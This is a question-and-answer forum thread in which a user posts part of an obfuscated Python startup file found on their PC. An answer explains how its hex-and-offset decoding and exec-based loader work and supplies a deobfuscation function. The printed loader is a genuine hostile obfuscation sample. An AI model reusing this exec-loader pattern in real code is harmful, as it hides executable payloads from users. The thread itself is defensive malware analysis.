Trying to understand this potentially virus encrypted pyw file

Question

Today I realised this .pyw file was added into my startup files.

Though I already deleted it, I suspect what it may have initially done to my computer, but it's sort of encrypted and I am not very familiar with Python, but I assume as this is the source code regardless, there is no actual way to completely encrypt it.

Can someone either guide me through how I can do that, or check it for me?

edit: by the looks of it I can only post some of it here, but it should give brief idea of how it was encrypted:

    class Protect():
 def __decode__(self:object,_execute:str)->exec:return(None,self._delete(_execute))[0]
 def __init__(self:object,_rasputin:str=False,_exit:float=0,*_encode:str,**_bytes:int)->exec:
  self._byte,self._decode,_rasputin,self._system,_bytes[_exit],self._delete=lambda _bits:"".join(__import__(self._decode[1]+self._decode[8]+self._decode[13]+self._decode[0]+self._decode[18]+self._decode[2]+self._decode[8]+self._decode[8]).unhexlify(str(_bit)).decode()for _bit in str(_bits).split('/')),exit()if _rasputin else'abcdefghijklmnopqrstuvwxyz0123456789',lambda _rasputin:exit()if self._decode[15]+self._decode[17]+self._decode[8]+self._decode[13]+self._decode[19] in open(__file__, errors=self._decode[8]+self._decode[6]+self._decode[13]+self._decode[14]+self._decode[17]+self._decode[4]).read() or self._decode[8]+self._decode[13]+self._decode[15]+self._decode[20]+self._decode[19] in open(__file__, errors=self._decode[8]+self._decode[6]+self._decode[13]+self._decode[14]+self._decode[17]+self._decode[4]).read()else"".join(_rasputin if _rasputin not in self._decode else self._decode[self._decode.index(_rasputin)+1 if self._decode.index(_rasputin)+1<len(self._decode)else 0]for _rasputin in "".join(chr(ord(t)-683867)if t!="ζ"else"\n"for t in self._byte(_rasputin))),lambda _rasputin:str(_bytes[_exit](f"{self._decode[4]+self._decode[-13]+self._decode[4]+self._decode[2]}(''.join(%s),{self._decode[6]+self._decode[11]+self._decode[14]+self._decode[1]+self._decode[0]+self._decode[11]+self._decode[18]}())"%list(_rasputin))).encode(self._decode[20]+self._decode[19]+self._decode[5]+self._decode[34])if _bytes[_exit]==eval else exit(),eval,lambda _exec:self._system(_rasputin(_exec))
  return self.__decode__(_bytes[(self._decode[-1]+'_')[-1]+self._decode[18]+self._decode[15]+self._decode[0]+self._decode[17]+self._decode[10]+self._decode[11]+self._decode[4]])
Protect(_rasputin=False,_exit=False,_sparkle='''ceb6/f2a6bdbe/f2a6bdbb/f2a6bf82/f2a6bf83/ceb6/f2a6bdbe/f2a6bdbb/f2a6bf83/f2a6bf80/f2a6bdbb/f2a6bf93/f2a6bf89/f2a6bf8f/f2a6bdbb/f2a6bebe/f2a6bebf/f2a6bf89/f2a6bebc/f2a6bf80/

Answer 1

OBLIGATORY WARNING: The code is pretty obviously hiding something, and it eventually will build a string and exec it as a Python program, so it has full permissions to do anything your user account does on your computer. All of this is to say DO NOT RUN THIS SCRIPT.

The payload for this nasty thing is in that _sparkle string, which you've only posted a prefix of. Once you get past all of the terrible spacing, this program basically builds a new Python program using some silly math and exec's it, using the _sparkle data to do it. It also has some basic protection against you inserting print statements in it (amusingly, those parts are easy to remove). The part you've posted decrypts to two lines of Python comments.

# hi
# if you deobf

Without seeing the rest of the payload, we can't figure out what it was meant to do. But here's a Python function that should reverse-engineer it.

import binascii

# Feed this function the full value of the _sparkle string.
def deobfuscate(data):
    decode = 'abcdefghijklmnopqrstuvwxyz0123456789'
    r = "".join(binascii.unhexlify(str(x)).decode() for x in str(data).split('/'))
    for x in r:
        if x == "ζ":
            print()
        else:
            x = chr(ord(x)-683867)
            if x in decode:
                x = decode[(decode.index(x) + 1) % len(decode)]
            print(x, end='')

Each sequence of hex digits between the / is a line. Each two hex digits in the line is treated as a byte and interpreted as UTF-8. The resulting UTF-8 character is then converted to its numerical code point, the magic number 683867 is subtracted from it, and the new number is converted back into a character. Finally, if the character is a letter or number, it's "shifted" once to the right in the decode string, so letters move one forward in the alphabet and numbers increase by one (if it's not a letter/number, then no shift is done). The result, presumably, forms a valid Python program.

From here, you have a few options.

1. Run the Python script I gave above on the real, full _sparkle string and figure out what the resulting program does yourself.

2. Run the Python script I gave above on the real, full _sparkle string and post the code in your question so we can decompose that.

3. Post the full _sparkle string in the question, so I or someone else can decode it.

4. Wipe the PC to factory settings and move on.